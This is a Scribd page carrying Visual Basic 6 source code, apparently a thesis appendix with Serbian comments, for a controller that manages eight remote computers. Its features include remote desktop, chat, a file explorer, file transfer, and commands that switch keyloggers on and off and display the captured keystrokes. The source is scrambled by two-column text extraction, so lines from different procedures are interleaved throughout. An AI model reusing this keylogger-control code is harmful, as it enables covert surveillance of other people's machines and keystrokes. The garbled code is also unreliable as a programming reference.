100% found this document useful (2 votes)
2K views

Multy Remote Desktop (Source Code) 1 Main and 8 Automate Detect

Remote desktop for 8 computers ,keyloger , chat ,remote explorer , file menager . Very nice view for keylogger everythink in 8 frame , black background and Chat part. structure of code from this doc file : file name

Uploaded by

Nikola Lukic
Copyright
© Attribution Non-Commercial (BY-NC)
Available Formats
Download as DOC, PDF, TXT or read online on Scribd
100% found this document useful (2 votes)
2K views

Multy Remote Desktop (Source Code) 1 Main and 8 Automate Detect

Remote desktop for 8 computers ,keyloger , chat ,remote explorer , file menager . Very nice view for keylogger everythink in 8 frame , black background and Chat part. structure of code from this doc file : file name

Uploaded by

Nikola Lukic
Copyright
© Attribution Non-Commercial (BY-NC)
Available Formats
Download as DOC, PDF, TXT or read online on Scribd
You are on page 1/ 54

8.

DODATAK
(Izvorni kod programa)
Sadrzaj modula modExtentions.bas >>>>>>>> Case ".AVI"
Attribute VB_Name = "modExtentions" EXTENTIONS = "ANI"
Public Function GetFileExtention(ByRef EXTENTIONS As EXTENTIONS = "ANI"
String) Case "MPEG"
‘ Javne funkcije I podrutine se definisu u EXTENTIONS = "ANI"
‘ modulu dok privatne ide u kodu forme Case ".DLL"
If Left(EXTENTIONS, 1) <> "." Then EXTENTIONS = "DLL"
If Mid(EXTENTIONS, 2, Len(EXTENTIONS)) = ".JS" Then Case ".VXD"
EXTENTIONS = "JS" EXTENTIONS = "DLL"
Exit Function Case ".386"
End If EXTENTIONS = "DLL"
If EXTENTIONS <> "HTML" Then Case ".CPL"
If EXTENTIONS <> "MPEG" Then EXTENTIONS = "DLL"
EXTENTIONS = "FILE" Case ".DRV"
Exit Function EXTENTIONS = "DLL"
End If Case ".KEY"
End If EXTENTIONS = "REG"
End If Case ".OCX"
Select Case EXTENTIONS EXTENTIONS = "DLL"
Case ".MDB" Case ".CAT"
EXTENTIONS = "MDB" EXTENTIONS = "CAT"
Case ".ARX" Case ".CRT"
EXTENTIONS = "ARX" EXTENTIONS = "CRT"
Case ".DWG" Case ".HTM"
EXTENTIONS = "DWG" EXTENTIONS = "IE"
Case ".XMX" Case ".XLA"
EXTENTIONS = "XMX" EXTENTIONS = "XLA"
Case ".UDL" Case ".POT"
EXTENTIONS = "UDL" EXTENTIONS = "POT"
Case ".HDI" Case ".DOT"
EXTENTIONS = "HDI" EXTENTIONS = "DOT"
Case ".CTL" Case ".NFO"
EXTENTIONS = "CTL" EXTENTIONS = "DOC"
Case ".CHM" Case ".PPA"
EXTENTIONS = "CHM" EXTENTIONS = "PPA"
Case ".SCR" Case ".DIZ"
EXTENTIONS = "SCR" EXTENTIONS = "DOC"
Case ".MDZ" Case ".SEU"
EXTENTIONS = "WAV" EXTENTIONS = "SEU"
Case ".MID" Case ".HLP"
EXTENTIONS = "WAV" EXTENTIONS = "HLP"
Case ".WMF" Case ".XML"
EXTENTIONS = "BMP" EXTENTIONS = "XML"
Case ".CLS" Case "MPEG"
EXTENTIONS = "CLS" EXTENTIONS = "ANI"
Case ".BAS" Case ".PDF"
EXTENTIONS = "BAS" EXTENTIONS = "PDF"
Case ".VBP" Case ".LNK"
EXTENTIONS = "VB" EXTENTIONS = "SC"
Case ".PSP" Case ".FRM"
EXTENTIONS = "BMP" EXTENTIONS = "FRM"
Case ".BMP" Case "HTML"
EXTENTIONS = "PNT" EXTENTIONS = "IE"
Case ".JPG" Case ".URL"
EXTENTIONS = "BMP" EXTENTIONS = "URL"
Case ".TGA" Case ".RAR"
EXTENTIONS = "BMP" EXTENTIONS = "RAR"
Case ".GIF" Case ".CAB"
EXTENTIONS = "BMP" EXTENTIONS = "RAR"
Case ".ANI" Case ".LOG"
EXTENTIONS = "ANI" EXTENTIONS = "RTF"
Case ".WSZ" Case ".RTF"
EXTENTIONS = "M3U" EXTENTIONS = "RTF"
Case ".M3U" Case ".DOC"
EXTENTIONS = "M3U" EXTENTIONS = "DOC"
Case ".MPG" Case ".DAT"
EXTENTIONS = "DOC"

2
Case ".INF" i=1
EXTENTIONS = "DOC" Do Until i = lLEn + 1
Case ".SWF" NewChar = Asc(Mid(sString, i, 1)) + 13
EXTENTIONS = "SWF" ENCRYPT = ENCRYPT + Chr(NewChar)
Case ".ASP" i=i+1
EXTENTIONS = "ASP" Loop
Case ".TXT" End Function
EXTENTIONS = "TXT" Public Function DECRYPT(sString As String, lLEn As
Case ".INI" Long) As String
EXTENTIONS = "INI" Dim i As Long
Case ".INF" Dim NewChar As Long
EXTENTIONS = "INI" i=1
Case ".PPT" Do Until i = lLEn + 1
EXTENTIONS = "PPT" NewChar = Asc(Mid(sString, i, 1)) - 13
Case ".XLS" DECRYPT = DECRYPT + Chr(NewChar)
EXTENTIONS = "XLS" i=i+1
Case ".BAT" Loop
EXTENTIONS = "TXT" End Function
Case ".SYS" Public Sub SendFile(FileName As String, WinS As
EXTENTIONS = "TXT" Winsock)
Case ".WAV" Dim FreeF As Integer
EXTENTIONS = "WAV" Dim LenFile As Long
Case ".MP3" Dim nCnt As Long
EXTENTIONS = "WAV" Dim LocData As String
Case ".TMP" Dim LoopTimes As Long
EXTENTIONS = "DOC" Dim i As Long
Case ".ZIP" FreeF = FreeFile
EXTENTIONS = "ZIP" Open FileName For Binary As #99
Case ".GID" nCnt = 1
EXTENTIONS = "GID" LenFile = LOF(99)
Case ".EXE" WinS.SendData "|FILESIZE|" & LenFile
EXTENTIONS = "EXE" DoEvents
Case ".TTF" Sleep (400)
EXTENTIONS = "FNT" Do Until nCnt >= (LenFile)
Case ".SHX" LocData = Space$(1024)
EXTENTIONS = "FNT" Get #99, nCnt, LocData
Case ".XFM" If nCnt + 1024 > LenFile Then
EXTENTIONS = "XFM" WinS.SendData Mid$(LocData, 1, (LenFile - nCnt))
Case ".FLT" Else
EXTENTIONS = "XFM" WinS.SendData LocData
Case ".REG" End If
EXTENTIONS = "REG" nCnt = nCnt + 1024
Case ".HTT" Loop
EXTENTIONS = "HTT" Close #99
Case ".DBX" End Sub
EXTENTIONS = "DBX" Sadrzaj modula modParser.bas >>>>>>>>>>>>
End Select
If Len(EXTENTIONS) > 3 Then EXTENTIONS = Option Explicit
"FILE" 'The Sleep API pauses program execution for specified # of
End Function milliseconds.
Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds
Sardzaj modula: modFunctions.bas As Long)
'Drive types.
Attribute VB_Name = "modFunctions" Public Const DRIVE_CDROM = 5
Public Declare Function GetTickCount Lib "kernel32" () As Public Const DRIVE_FIXED = 3
Long Public Const DRIVE_RAMDISK = 6
Sub Pause(HowLong As Long) Public Const DRIVE_REMOTE = 4
Dim u%, tick As Long Public Const DRIVE_REMOVABLE = 2
tick = GetTickCount() Public status As String
Do Public bFileTransfer As Boolean
u% = DoEvents Public lFileSize As Long
Loop Until tick + HowLong < GetTickCount Public bGettingdesktop As Boolean
End Sub Public Declare Function ShellExecute Lib "shell32.dll" Alias
Public Function ENCRYPT(sString As String, lLEn As "ShellExecuteA"(ByVal hwnd As Long, ByVal lpOperation
Long) As String As String, ByVal lpFile As String, ByVal lpParameters As
Dim i As Long String, ByVal lpDirectory As String, ByVal nShowCmd As
Dim NewChar As Long Long) As Long

3
Global LastX As Integer For lLoop = 1 To .Count
Global LastY As Integer frmMain.lblFileCount.Caption = "Number Of Files: "
Global TransBuff As String & .Count
Public Sub Populate_Tree_With_Drives(sDrives As String, If Len(Trim(.Item(lLoop))) <> 0 Then
objTV As TreeView) '****ADDED FOR FILE SIZE DISPLAY****
On Error GoTo Populate_Tree_With_Drives_Error GGGG = .Item(lLoop)
Dim objDriveCollection As Collection BreakItDown GGGG
Dim lLoop As Long '****
Dim sDriveLetter As String Set objPartCollection = ParseString(.Item(lLoop),
Dim iDriveType As String "|")
Dim objSngDrive As Collection EXT = objPartCollection(1)
Dim sImage As String '**** THIS PART GETS FILES EXTENTIONS
sDrives = Mid$(sDrives, 7, Len(sDrives)) ****
Set objDriveCollection = ParseString(sDrives, "|") EXTC = Len(EXT)
For lLoop = 1 To objDriveCollection.Count EXTC = EXTC - 3
Set objSngDrive = EXT = Mid$(objPartCollection(1), EXTC,
ParseString(objDriveCollection.Item(lLoop), ",") Len(EXT))
With objSngDrive EXT = UCase(EXT)
sDriveLetter = .Item(1) FEX = "FILE"
iDriveType = CInt(.Item(2)) GetFileExtention EXT
End With Dim EEEE As String
Select Case iDriveType EEEE = Get_File_Name(objPartCollection(1))
Case DRIVE_REMOVABLE ' **** THIS PART STOPS THE PROGRAM FROM
sImage = "FD" ' **** ADDING FOLDERS TO THE FILE LISTED
Case DRIVE_FIXED ON
sImage = "HD" ' **** LVFILES.
Case DRIVE_REMOTE If GGGG <> "(0 KB)" Then
sImage = "ND" EEEE = EEEE & " " & GGGG
Case DRIVE_CDROM objLV.ListItems.Add , objPartCollection(1),
sImage = "CD" EEEE, EXT, EXT
Case DRIVE_RAMDISK objLV.ListItems(objPartCollection(1)).SubItems(1)
sImage = "RAM Disk" = objPartCollection(2)
Case Else FEX = "": EXT = ""
sImage = "" Else
End Select FEX = "": EXT = ""
objTV.Nodes.Add "xxxROOTxxx", tvwChild, End If
sDriveLetter & ":\", sDriveLetter & ":\", sImage, sImage End If
Next lLoop Next lLoop
Populate_Tree_With_Drives_Exit: End With
Exit Sub End Sub
Populate_Tree_With_Drives_Error: Private Function BreakItDown(Whatever As String)
Err.Raise Err.Number, "Procedure: Dim BLoop As Long
Populate_Tree_With_Drives" & vbCrLf & "Module: BLoop = InStr(1, Whatever, "|")
modParser" Whatever = Mid(Whatever, BLoop + 1, Len(Whatever))
Exit Sub Dim GRF As Long
End Sub GRF = Whatever
Public Sub Populate_Files(sString As String, objLV As If GRF = 0 Then
ListView) Whatever = "(0 KB)"
On Error Resume Next Exit Function
Dim objFileCollection As Collection End If
Dim lLoop As Long
Dim sParentPath As String If GRF <= 1024 Then
Dim sFile As String Whatever = 1
Dim objSngFile As Collection Else
Dim sFileList As String GRF = GRF / 1024
Dim objPartCollection As Collection Whatever = GRF
sFileList = Mid$(sString, 8, Len(sString)) Dim RFG As Integer
frmMain.lvFiles.ListItems.Clear RFG = Whatever
DoEvents Whatever = RFG
Set objFileCollection = ParseString(sFileList, "^") End If
'''**** ADDED TO FIND FILE EXTENTION ****
Dim EXT As String Whatever = "(" & Whatever & " KB)"
Dim FEX As String End Function
Dim EXTC As Long
Dim GGGG As String
With objFileCollection

4
Public Function Get_File_Name(sString As String) As Option Explicit
String Private Sub cmdConnect_Click()
On Error GoTo Get_File_Name_Error On Error GoTo nil:
Dim lLoop As Long sockMain.RemoteHost = txtHost.Text
For lLoop = Len(sString) To 1 Step -1 sockMain.RemotePort = txtPort.Text
If Mid$(sString, lLoop, 1) = "\" Then sockMain.Connect
Get_File_Name = Mid$(sString, lLoop + 1, Exit Sub
Len(sString)) nil:
Exit Function MsgBox "Client is not connected !!", vbCritical
End If End Sub
Private Sub cmdSend_Click()
Next lLoop sockMain.SendData txtSend.Text
Get_File_Name_Exit: End Sub
Exit Function Private Sub Command1_Click()
Get_File_Name_Error: sockMain.Close
Err.Raise Err.Number, "Function: Get_File_Name" & Unload Form1
vbCrLf & "Module: modParser" frmMain1.Show
Exit Function frmMain1.WindowState = 2
End Function End Sub
Public Function NormalizePath(sPath As String) As String Private Sub Command2_Click()
On Error GoTo NormalizePath_Error sockMain.Close
If Right$(sPath, 1) <> "\" Then Form1.Caption = "Disconnected"
NormalizePath = sPath & "\" Form1.Height = 6600
Else Command2.Enabled = False
NormalizePath = sPath ‘ onemoguciti dugmetu rad ( nereaguje na dogadjaj klik
End If itd ) ako se pozove
NormalizePath_Exit: ‘ kao funkcija izvrsice se.
Exit Function Command3.Enabled = False
NormalizePath_Error: Command4.Enabled = False
Err.Raise Err.Number, "Function: NormalizePath" & End Sub
vbCrLf & "Module: modParser" Private Sub Command3_Click()
Exit Function sockMain.SendData ("start")
End Function ‘ AKTIVIRANJE aktivnog prenosa slike
Public Function Populate_Folders(sFolderString As String, Command4.Enabled = True
objTV As TreeView) Command3.Enabled = False
On Error Resume Next Select Case txtHost.Text
Dim objFolderCollection As Collection Case text1.Caption
Dim lLoop As Long frmMain1.Label11.Caption = "Enabled" ‘ uporedjivanje
Dim sParentPath As String vrednosti ipadrese da bi znao gde da postavi enabled
Dim sFolder As String Case text2.Caption
Dim objSngFolder As Collection frmMain1.Label12.Caption = "Enabled" ‘ da bi znali za
Dim sFolderList As String koji klijent vazi
sFolderList = Mid$(sFolderString, 10, Len(sFolderString)) Case text3.Caption
Set objFolderCollection = ParseString(sFolderList, "|") frmMain1.Label13.Caption = "Enabled"
frmMain.lblFolderCount.Caption = "Number Of Folders: " Case text4.Caption
& objFolderCollection.Count frmMain1.Label14.Caption = "Enabled"
For lLoop = 1 To objFolderCollection.Count Case text5.Caption
Set objSngFolder = frmMain1.Label15.Caption = "Enabled"
ParseString(objFolderCollection.Item(lLoop), "^") Case text6.Caption
With objSngFolder frmMain1.Label16.Caption = "Enabled"
sParentPath = .Item(1) Case text7.Caption
sFolder = .Item(2) frmMain1.Label17.Caption = "Enabled"
End With Case text8.Caption
With objTV.Nodes frmMain1.Label18.Caption = "Enabled"
If Len(sParentPath) > 4 Then
.Add Mid$(sParentPath, 1, Len(sParentPath) - 1), End Select
tvwChild, sParentPath & sFolder, sFolder, "CLOSED", End Sub
"OPEN"
Else Private Sub Command4_Click()
.Add sParentPath, tvwChild, sParentPath & sFolder, sockMain.SendData ("stop")
sFolder, "CLOSED", "OPEN" ‘ PREKID aktivnog prenosa slike .
End If Command3.Enabled = True
End With ‘ Kao podatak se salje samo stop I klijent prepoznaje zahtev
Next lLoop ili komandu.
End Function Command4.Enabled = False

Sadrzaj forme : form1.frm

5
Select Case txtHost.Text Private Sub SockMain_DataArrival(ByVal bytesTotal As
Case text1.Caption Long)
frmMain1.Label11.Caption = "Disenabled" Dim Strdata As String
Case text2.Caption sockMain.GetData Strdata, vbString
frmMain1.Label12.Caption = "Disenabled" txtStatus.Text = txtStatus.Text & _
Case text3.Caption ‘ prikaz podatka poslatih sa klijent rac. U ovom slucaju
frmMain1.Label13.Caption = "Disenabled" CHAT
Case text4.Caption Strdata & vbCrLf
frmMain1.Label14.Caption = "Disenabled" End Sub
Case text5.Caption Private Sub sockMain_Error(ByVal Number As Integer,
frmMain1.Label15.Caption = "Disenabled" Description As String, ByVal Scode As Long, ByVal Source
Case text6.Caption As String, ByVal HelpFile As String, ByVal HelpContext As
frmMain1.Label16.Caption = "Disenabled" Long, CancelDisplay As Boolean)
Case text7.Caption MsgBox " Client is not connected ", vbCritical ‘ prekid
frmMain1.Label17.Caption = "Disenabled" konekcije
Case text8.Caption End Sub
frmMain1.Label18.Caption = "Disenabled" Private Sub text1_Click()’ NAPOMENA u chat formi
End Select formi1 umesto dugmica koriscena su label slova radi estetike
End Sub txtHost.Text = text1.Caption
Private Sub Form_Load() cmdConnect_Click
Me.Left = 0 End Sub
Me.Top = 0 Private Sub text1_MouseMove(Button As Integer, Shift As
txtStatus.Text = "" Integer, X As Single, Y As Single) ‘ Graficka resenja
text1.Caption = frmMain1.text1.Text ‘postavljanje Shape5.BorderWidth = 2
vrednosti IP adresa za chat prozor End Sub
text2.Caption = frmMain1.text2.Text Private Sub text2_Click()
text3.Caption = frmMain1.text3.Text txtHost.Text = text2.Caption
text4.Caption = frmMain1.text4.Text cmdConnect_Click
text5.Caption = frmMain1.text5.Text End Sub
text6.Caption = frmMain1.text6.Text Private Sub text2_MouseMove(Button As Integer, Shift As
text7.Caption = frmMain1.text7.Text Integer, X As Single, Y As Single)
text8.Caption = frmMain1.text8.Text Shape7.BorderWidth = 2
End Sub End Sub
Private Sub Form_MouseMove(Button As Integer, Shift As Private Sub text3_Click()
Integer, X As Single, Y As Single) ‘ graficka resenja txtHost.Text = text3.Caption
Shape5.BorderWidth = 1 cmdConnect_Click
Shape6.BorderWidth = 1 End Sub
Shape7.BorderWidth = 1 Private Sub text3_MouseMove(Button As Integer, Shift As
Shape8.BorderWidth = 1 Integer, X As Single, Y As Single)
Shape9.BorderWidth = 1 Shape9.BorderWidth = 2
Shape10.BorderWidth = 1 End Sub
Shape11.BorderWidth = 1 Private Sub text4_Click()
Shape12.BorderWidth = 1 txtHost.Text = text4.Caption
End Sub cmdConnect_Click
Private Sub Image1_Click() ‘ graficka resenja sakriti liniju End Sub
koja seta gore dole Private Sub text4_MouseMove(Button As Integer, Shift As
gif.Visible = False Integer, X As Single, Y As Single)
Timer1.Enabled = False Shape11.BorderWidth = 2
Timer2.Enabled = False End Sub
End Sub Private Sub text5_Click()
Private Sub Label3_MouseMove(Button As Integer, Shift As txtHost.Text = text5.Caption
Integer, X As Single, Y As Single) ‘ graficka resenja cmdConnect_Click
Shape5.BorderWidth = 1 End Sub
Shape6.BorderWidth = 1 Private Sub text5_MouseMove(Button As Integer, Shift As
Shape7.BorderWidth = 1 Integer, X As Single, Y As Single)
Shape8.BorderWidth = 1 Shape6.BorderWidth = 2
End Sub End Sub
Private Sub SockMain_Connect()‘ Izrvrsena je konekcija Private Sub text6_Click()
dozvoli koriscenje dugmica za start I prekid aktivnog txtHost.Text = text6.Caption
prenosa slike cmdConnect_Click
Command2.Enabled = True End Sub
Command3.Enabled = True Private Sub text6_MouseMove(Button As Integer, Shift As
Command4.Enabled = True Integer, X As Single, Y As Single)
Form1.Caption = "Connected" Shape8.BorderWidth = 2
Form1.Height = 4995 ‘ smanji formu da se nevide ostale ip End Sub
adrese klijenata Private Sub text7_Click()
End Sub txtHost.Text = text7.Caption

6
Private Sub text7_MouseMove(Button As Integer, Shift As cmdConnect_Click
Integer, X As Single, Y As Single) End Sub
Shape10.BorderWidth = 2 Winsock5.RemotePort = "432"
End Sub Winsock5.Connect
Private Sub text8_Click() End Sub
txtHost.Text = text8.Caption Private Sub Command6_Click()
cmdConnect_Click Winsock6.RemoteHost = Text6.Text
End Sub Winsock6.RemotePort = "432"
Private Sub text8_MouseMove(Button As Integer, Shift As Winsock6.Connect
Integer, X As Single, Y As Single) End Sub
Shape12.BorderWidth = 2 Private Sub Command7_Click()
End Sub Winsock7.RemoteHost = Text7.Text
Private Sub Timer1_Timer() Winsock7.RemotePort = "432"
gif.Top = gif.Top + 90 Winsock7.Connect
If gif.Top > 6200 Then End Sub
Timer1.Enabled = False Private Sub Command8_Click()
Timer2.Enabled = True Winsock8.RemoteHost = Text8.Text
End If Winsock8.RemotePort = "432"
End Sub Winsock8.Connect
Private Sub Timer2_Timer() End Sub
gif.Top = gif.Top - 90 Private Sub Form_Load()
If gif.Top < 0 Then txtStatus.Text = ""
Timer2.Enabled = False ‘ pocetak otvaranje porta
Timer1.Enabled = True cmdListen_Click
End If Me.Left = 0
End Sub Me.Top = 0
Private Sub txtSend_KeyDown(KeyCode As Integer, Shift End Sub
As Integer) Private Sub Frame9_MouseMove(Button As Integer, Shift
Shape1.BorderWidth = 2 As Integer, X As Single, Y As Single)
End Sub ‘ graficka resenja
Private Sub txtSend_KeyUp(KeyCode As Integer, Shift As Shape1.BorderWidth = 1
Integer) Shape2.BorderWidth = 1
Shape1.BorderWidth = 1 Shape3.BorderWidth = 1
End Sub Shape4.BorderWidth = 1
Shape5.BorderWidth = 1
Sadrazaj forme form2.frm (Forma automackog detektovanja Shape6.BorderWidth = 1
I uspostavljanja konekcije) Shape7.BorderWidth = 1
Shape8.BorderWidth = 1
Option Explicit Shape9.BorderWidth = 1
Private intSockCnt As Integer ‘ brojac glavnog multyline End Sub
sock-a Private Sub Image1_Click()
Private Sub cmdListen_Click() Me.Hide
‘ Postavljanje porta na rezim osluskivanja , ceka zahtev za End Sub
konekciju Private Sub Image2_Click()
sockMain(0).Close Winsock1.SendData ("stopkey") ‘ zaustaviti keylog
sockMain(0).LocalPort = txtPort.Text Image2.Visible = False
sockMain(0).Listen End Sub
End Sub Private Sub Image3_Click()
Private Sub Command1_Click() ‘ Pojedinacno Winsock2.SendData ("stopkey")
uspostavljanje konekcije Image3.Visible = False
Winsock1.RemoteHost = Text1.Text End Sub
Winsock1.RemotePort = "432" Private Sub Label10_Click()
Winsock1.Connect Timer2.Enabled = True
End Sub End Sub
Private Sub Command2_Click() Private Sub Label10_MouseMove(Button As Integer, Shift
Winsock2.RemoteHost = Text2.Text As Integer, X As Single, Y As Single)
Winsock2.RemotePort = "432" Shape1.BorderWidth = 2
Winsock2.Connect End Sub
End Sub Private Sub Label11_Click()
Private Sub Command3_Click() On Error GoTo ju:
Winsock3.RemoteHost = Text3.Text Winsock1.SendData ("key")
Winsock3.RemotePort = "432" Image2.Visible = True
Winsock3.Connect Exit Sub
End Sub ju:
Private Sub Command4_Click() MsgBox "Error .You are not connected with client",
Winsock4.RemoteHost = Text4.Text vbCritical
Winsock4.RemotePort = "432" End Sub
Winsock4.Connect Private Sub Label11_MouseMove(Button As Integer, Shift

7
End Sub As Integer, X As Single, Y As Single)
Private Sub Command5_Click()
Winsock5.RemoteHost = Text5.Text
Shape2.BorderWidth = 2 Winsock7.SendData ("key")
End Sub Image8.Visible = True
Private Sub Label12_Click()
On Error GoTo ju: Exit Sub
Winsock2.SendData ("key")’ aktivirati keylog ju:
Image3.Visible = True MsgBox "Error .You are not connected with client",
Exit Sub vbCritical
ju: End Sub
MsgBox "Error .You are not connected with client", Private Sub Label17_MouseMove(Button As Integer, Shift
vbCritical ‘ u slucaju disconnect As Integer, X As Single, Y As Single)
End Sub Shape8.BorderWidth = 2
Private Sub Label12_MouseMove(Button As Integer, Shift End Sub
As Integer, X As Single, Y As Single) Private Sub Label18_Click()
Shape3.BorderWidth = 2 On Error GoTo ju:
End Sub Winsock8.SendData ("key")
Private Sub Label13_Click() Image9.Visible = True
On Error GoTo ju: Exit Sub
Winsock3.SendData ("key") ju:
Image4.Visible = True MsgBox "Error .You are not connected with client",
Exit Sub vbCritical
ju: End Sub
MsgBox "Error .You are not connected with client", Private Sub Label18_MouseMove(Button As Integer, Shift
vbCritical As Integer, X As Single, Y As Single)
End Sub Shape9.BorderWidth = 2
Private Sub Label13_MouseMove(Button As Integer, Shift End Sub
As Integer, X As Single, Y As Single) Private Sub Label9_MouseMove(Button As Integer, Shift As
Shape4.BorderWidth = 2 Integer, X As Single, Y As Single)
End Sub Timer1.Enabled = True
Private Sub Label14_Click() End Sub
On Error GoTo ju: Private Sub sockMain_ConnectionRequest(Index As Integer,
Winsock4.SendData ("key") ByVal requestID As Long)
Image5.Visible = True intSockCnt = intSockCnt + 1 ‘ inkrementiranje brojaca
Exit Sub konekcije za multyline
ju: Load sockMain(intSockCnt)
MsgBox "Error .You are not connected with client", sockMain(intSockCnt).Accept requestID
vbCritical txtStatus.Text = txtStatus.Text & _
End Sub "Connected to: " & _
Private Sub Label14_MouseMove(Button As Integer, Shift sockMain(intSockCnt).RemoteHostIP & vbCrLf
As Integer, X As Single, Y As Single) ‘ Poslat je zahtev za konekciju I upis ip adrese klijenta
Shape5.BorderWidth = 2 upisuje se u prvi slobodan tekst boks a zatim izlazi iz
End Sub podrutine exit sub da nebi ‘ upisivo I dalje I popunijo sve
Private Sub Label15_Click() tekst
On Error GoTo ju: If Text1.Text = "slobodno" Then
Winsock5.SendData ("key") Text1.Text = sockMain(intSockCnt).RemoteHostIP
Image6.Visible = True Exit Sub
Exit Sub End If
ju: If Text2.Text = "slobodno" Then
MsgBox "Error .You are not connected with client", Text2.Text = sockMain(intSockCnt).RemoteHostIP
vbCritical Exit Sub
End Sub End If
Private Sub Label15_MouseMove(Button As Integer, Shift If Text3.Text = "slobodno" Then
As Integer, X As Single, Y As Single) Text3.Text = sockMain(intSockCnt).RemoteHostIP
Shape6.BorderWidth = 2 Exit Sub
End Sub End If
Private Sub Label16_Click() If Text4.Text = "slobodno" Then
On Error GoTo ju: Text4.Text = sockMain(intSockCnt).RemoteHostIP
Winsock6.SendData ("key") Exit Sub
Image7.Visible = True End If
Exit Sub If Text5.Text = "slobodno" Then
ju: Text5.Text = sockMain(intSockCnt).RemoteHostIP
MsgBox "Error .You are not connected with client", Exit Sub boksove jednom istom adresom
vbCritical End If
End Sub If Text6.Text = "slobodno" Then
Private Sub Label16_MouseMove(Button As Integer, Shift Text6.Text = sockMain(intSockCnt).RemoteHostIP
As Integer, X As Single, Y As Single) Exit Sub

8
Shape7.BorderWidth = 2
End Sub
Private Sub Label17_Click()
On Error GoTo ju:

End If End If
If Text7.Text = "slobodno" Then Form1.Text4.Caption = Text4.Text
Text7.Text = sockMain(intSockCnt).RemoteHostIP frmMain1.Text4.Text = Text4.Text
Exit Sub End Sub
End If Private Sub Text5_Change()
If Text8.Text = "slobodno" Then If Text5.Text <> "slobodno" Then
Text8.Text = sockMain(intSockCnt).RemoteHostIP Command5_Click
Exit Sub Frame5.Caption = "connected to : " & Text5.Text
End If End If
End Sub Form1.Text5.Caption = Text5.Text
Private Sub SockMain_DataArrival(Index As Integer, ByVal frmMain1.Text5.Text = Text5.Text
bytesTotal As Long) End Sub
‘ Manje bitno mesto jer ovaj SOCK neprima podatke ali se Private Sub Text6_Change()
moze iskoristiti If Text6.Text <> "slobodno" Then
Dim Strdata As String Frame6.Caption = "connected to : " & Text6.Text
Dim intCnt As Integer Command6_Click
sockMain(Index).GetData Strdata, vbString End If
txtStatus.Text = txtStatus.Text & _ Form1.Text6.Caption = Text6.Text
Strdata & vbCrLf frmMain1.Text6.Text = Text6.Text
For intCnt = 1 To intSockCnt End Sub
If sockMain(intCnt).State = sckConnected Then Private Sub Text7_Change()
sockMain(intCnt).SendData Strdata If Text7.Text <> "slobodno" Then
End If Frame7.Caption = "connected to : " & Text7.Text
Next intCnt Command7_Click
End Sub End If
Private Sub Text1_Change() ‘ ako su svi prazni I prvi klijent Form1.Text7.Caption = Text7.Text
se konektovao za server text1 menja slobodno na IP adresu frmMain1.Text7.Text = Text7.Text
naseg klijenta End Sub
If Text1.Text <> "slobodno" Then Private Sub Text8_Change()
Command1_Click ‘ ako smo dobili IP klijenta Vrsimo If Text8.Text <> "slobodno" Then
preko dugmeta command1 konekciju na portu 432 za server Frame8.Caption = "connected to : " & Text8.Text
na klijentu.OBJASNJENJE. mainsock je multyline konektor Command8_Click
on dozvoljava vise klijenata ali nemoze da uoci prekid veze End If
‘ zato se preko dugmeta povezuje zaseban sock za klijent Form1.Text8.Caption = Text8.Text
koji kada pukne veza javlja programu da klijent vise nije frmMain1.Text8.Text = Text8.Text
konektovan End Sub
‘ I upisuje se vrednost slobodno na vise mesta.Pored ove Private Sub Timer1_Timer()
funkcije preko ovog sock-a salje se komande za keyloger Frame9.Top = Frame9.Top + 85
‘ Vazan momenat promena teksta . Kada se promeni tekst If Frame9.Top > 370 Then
mozemo dobiti ili ip adresu klijenta ili slobodno… Timer1.Enabled = False
Frame1.Caption = "connected to : " & Text1.Text Frame9.Top = 370
End If End If
Form1.Text1.Caption = Text1.Text End Sub
frmMain1.Text1.Text = Text1.Text Private Sub Timer2_Timer()
End Sub Frame9.Top = Frame9.Top – 85 ‘ graficka resenja (linija
Private Sub Text2_Change() koja seta gore dole
If Text2.Text <> "slobodno" Then If Frame9.Top < -8350 Then
Frame2.Caption = "connected to : " & Text2.Text Timer2.Enabled = False
Command2_Click Frame9.Top = -8350
End If End If
Form1.Text2.Caption = Text2.Text End Sub
frmMain1.Text2.Text = Text2.Text Private Sub Winsock1_Close()
End Sub Text1.Text = "slobodno"
Private Sub Text3_Change() ‘ detekcija prekida konekcije
If Text3.Text <> "slobodno" Then frmMain1.Label11.Caption = "Disenabled"
Frame3.Caption = "connected to : " & Text3.Text Winsock1.Close
Command3_Click Frame1.Caption = "not connected"
End If Label11.Caption = "not connected"
Form1.Text3.Caption = Text3.Text End Sub
frmMain1.Text3.Text = Text3.Text Private Sub Winsock1_Connect()
End Sub Label11.Caption = Winsock1.RemoteHostIP
Private Sub Text4_Change() ‘ dogadjaj KONEKCIJA
If Text4.Text <> "slobodno" Then End Sub

9
Command4_Click Private Sub Winsock1_DataArrival(ByVal bytesTotal As
Frame4.Caption = "connected to : " & Text4.Text Long)
Dim nik1 As String
Winsock1.GetData nik1
Text9.Text = Text9.Text & nik1 ‘ prihvatanje podatka

Sledeci kod je za ostalih sedam mesta End Sub


End Sub Private Sub Winsock7_Close()
Private Sub Winsock2_Close() Text7.Text = "slobodno"
Text2.Text = "slobodno" Winsock7.Close
Winsock2.Close
Frame2.Caption = "not connected" Frame7.Caption = "not connected"
Label17.Caption = "not connected"
Label12.Caption = "not connected" frmMain1.Label17.Caption = "Disenabled"
frmMain1.Label12.Caption = "Disenabled" End Sub
End Sub Private Sub Winsock7_ConnectionRequest(ByVal requestID
Private Sub Winsock2_ConnectionRequest(ByVal requestID As Long)
As Long) Dim nik7 As String
Dim nik2 As String Winsock7.GetData nik7
Winsock2.GetData nik2 Text15.Text = Text15.Text & nik7
Text10.Text = Text10.Text & nik2 End Sub
End Sub Private Sub Winsock8_Close()
Private Sub Winsock3_Close() Text8.Text = "slobodno"
Text3.Text = "slobodno" Winsock8.Close
Winsock3.Close Frame8.Caption = "not connected"
Frame3.Caption = "not connected" Label18.Caption = "not connected"
frmMain1.Label13.Caption = "Disenabled" frmMain1.Label18.Caption = "Disenabled"
Label13.Caption = "not connected" End Sub
End Sub Private Sub Winsock8_ConnectionRequest(ByVal requestID
Private Sub Winsock3_ConnectionRequest(ByVal requestID As Long)
As Long) Dim nik8 As String
Dim nik3 As String Winsock8.GetData nik8
Winsock3.GetData nik3 Text16.Text = Text16.Text & nik8
Text11.Text = Text11.Text & nik3 End Sub
End Sub
Private Sub Winsock4_Close() Sadrazaj forme frmMain.frm
Text4.Text = "slobodno"
Winsock4.Close Dim FCount As Integer
Frame4.Caption = "not connected" Dim LVFileCount As Long
Label14.Caption = "not connected" Dim FList As String
frmMain1.Label14.Caption = "Disenabled" Dim Data As String
